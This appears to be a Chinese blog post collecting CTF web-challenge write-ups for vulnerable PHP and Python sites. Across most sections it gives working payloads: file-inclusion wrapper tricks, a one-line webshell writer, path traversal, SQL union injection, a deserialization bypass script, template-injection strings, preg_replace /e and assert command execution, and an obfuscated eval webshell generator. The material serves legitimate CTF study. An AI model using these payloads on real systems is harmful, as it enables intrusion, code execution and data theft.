利用peiqi Thinkphp 一键getshell 得flag
源码如下
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
php://过滤了 尝试使用 data:协议
page=data://text/plain,
查看源码得到flag
补充
php://协议
php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)
php://input + [POST DATA]执行php代码
如果有权限的话 可以利用此协议写入一句话
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),''); ?>
data://协议 也是来执行php代码的 和php:input差不多 但用法不同
作用:自PHP>=5.2.0
起,可以使用data://
数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
用法:
data://text/plain,
data://text/plain;base64,
随便点到index.php?id=4 网页下 用bp 爆破对应的 id 数 得到flag
代码如下
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
?>
首先访问hint.php 最后payload为: ?file=source.php?../…/…/…/…/ffffllllaaaagggg
就注意这个点吧
如果定义了路径,就会忽视 前面字符串 去找你写的../../../../../ffffllllaaaagggg
一点过滤都没有
sqlmap 一把梭
或者手工post
search=-1'union select 1,group_concat(id,fl4g),3 from secret_table#
得到flag
下载下来是乱码文件,不懂了搜了一下, 加一个alert()函数将其弹窗就行了
格式一下代码
function $() {
var e = document.getElementById("c").value;
if (e.length == 16) if (e.match(/^be0f23/) != null) if (e.match(/233ac/) != null) if (e.match(/e98aa$/) != null) if (e.match(/c7be9/) != null) {
var t = ["fl", "s_a", "i", "e}"];
var n = ["a", "_h0l", "n"];
var r = ["g{", "e", "_0"];
var i = ["it'", "_", "n"];
var s = [t, n, r, i];
for (var o = 0; o < 13; ++o) {
document.write(s[o % 4][0]);
s[o % 4].splice(0, 1)
}
}
}
document.write('<input id="c"><button onclick=$()>Okbutton>');
delete _
浏览器console 一下 就行了
index.phps 得到源码
if("admin"===$_GET[id]) {
echo("not allowed!
");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "Access granted!
";
echo "Key: xxxxxxx
";
}
?>
Can you anthenticate to this website?
在index.php下进行操作
将a编码一下 就可,因为网页自动会解码一次,所以这里要编码两次
?id=%2561dmin
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
绕过wake_up 函数 只需要 参数个数大于实际参数个数就行 这里1 改成2
简单传个一句话木马 蚁剑连
代码如下
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
反序列化构造
class Demo {
private $file = 'fl4g.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo('fl4g.php');
$C = serialize($A);
echo $C;
$C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
$C = str_replace(':1:', ':2:',$C);//绕过wakeup
var_dump(base64_encode($C));
tornado模板注入
msg=Error存在 注入点
利用{{handler.settings}}拿到cookie
pylaod为
echo md5('f20b584e-691b-4d64-9ca0-a08a89227b6e'.md5('/fllllllllllllag'));
得到flag
ssTI 注入
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
一乍看[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NV87YbCs-1628162400596)(C:\Users\ASUS\Desktop\QQ截图20210805143017.png)]没啥发现
点进去
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Mwi5ayDW-1628162400598)(C:\Users\ASUS\Desktop\QQ截图20210805143032.png)]
发现这里有文件包含点
?page=php:filter/read=convert.base64-encode/resource=index.php
读源码
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "
Welcome My Admin !
";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
x-forwarded-for:127.0.0.1
这里我们先进行伪造,进入
这里估计是利用 preg_replace /e的命令执行漏洞了, 前提是低版本php
?pat=/e&rep=system('ls')&sub=123
前提是能执行此函数也就是说 匹配的字符串中要含有查找的内容
查找flag
GET /index.php?pat=/12/e&rep=system("find+-name+flag")&sub=12
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ju97NWMK-1628162400600)(C:\Users\ASUS\Desktop\QQ截图20210805145625.png)]
pat=/12/e&rep=system("ls+./s3chahahaDir/flag")
得到>flag.php
cat+./s3chahahaDir/flag/flag.php
得到flag
cyberpeace{3dc3d7735954e387edcd0ff7936d222b}
看见有page= 尝试文件包含无果
在about 界面中看见 git
用dirsearch 扫一下 发现 .git 文件泄露
GitHack.py 得到源码
重点在这
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
//这里的思路是将其闭合,然后assert(执行命令)
//尝试构造
//page=aac') or system(phpinfo());//
//page=abc') or system("cat templates/flag.php");//
?>
assert 起到 命令执行的作用
记极客大挑战 rceme 的题目pyload
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "
";
$c='(eval($_POST[mochu7]))';
$d=urlencode(~$c);
echo $d;
?>
————————————————
版权声明:本文为CSDN博主「末 初」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/mochu7777777/article/details/105136633/